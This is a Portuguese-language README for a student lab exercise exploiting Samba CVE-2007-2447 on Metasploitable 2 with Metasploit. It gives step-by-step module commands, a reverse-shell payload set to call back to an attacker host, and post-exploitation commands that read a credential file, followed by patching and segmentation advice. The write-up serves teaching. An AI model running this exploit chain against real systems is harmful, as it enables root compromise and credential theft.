SMB-PenTest-Explorando-CVE-2007-2447-no-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Descrição

Este projeto documenta meu engajamento de teste de penetração como parte do curso CMIT 386 na UMGC. Ele foca na exploração da vulnerabilidade usermap_script do Samba SMB (CVE-2007-2447) no Metasploitable 2 usando o Metasploit a partir de uma VM de ataque Kali Linux. Esta prova de conceito mostra como uma vulnerabilidade legada pode levar ao comprometimento total do sistema, roubo de credenciais e exfiltração de dados.

Visão Geral da Vulnerabilidade

A vulnerabilidade reside no serviço Samba na porta 445, onde o tratamento inadequado de entrada no script de mapeamento de nomes de usuário permite a execução remota de comandos sem autenticação. Isso fornece aos atacantes acesso a um shell de nível root se explorado.

Ambiente

Passos a seguir

1. Iniciar o Metasploit:

msfconsole

Certifique-se de que tanto o host atacante quanto a máquina vítima estejam inicializados e em execução.

2. Procurar pelo exploit:

search samba

3. Usar o módulo apropriado:

use exploit/multi/samba/usermap_script

4. Definir opções necessárias:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Executar o exploit:

exploit

6. Comandos pós-exploração:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Instruções de Reset

Se a sessão travar ou quebrar:

Reset do Metasploit:

# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole

Principais Conclusões

Serviços legados como o Samba 3.0.20 com usermap_script são altamente vulneráveis.
Explorar essa vulnerabilidade SMB concede acesso a shell root.
Dados críticos podem ser coletados com comandos simples, demonstrando risco no mundo real.
Isso prova a necessidade de aplicar patches, segmentação e reduzir a exposição de serviços.

Recomendações

Aplique patches ou descomissione sistemas legados imediatamente.
Implemente segmentação de rede rigorosa e regras de firewall.
Limite a exposição do SMB apenas a usuários internos e autenticados.
Monitore logs para atividades suspeitas e movimentação lateral.

Atacante VM	Kali Linux
Vítima VM	Metasploitable 2
Porta Alvo	445 (Samba/SMB)
Exploit Usado	`exploit/multi/samba/usermap_script`
Alvo de Credenciais	`/redteam7/student3/mypass.txt`

Mais Populares

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2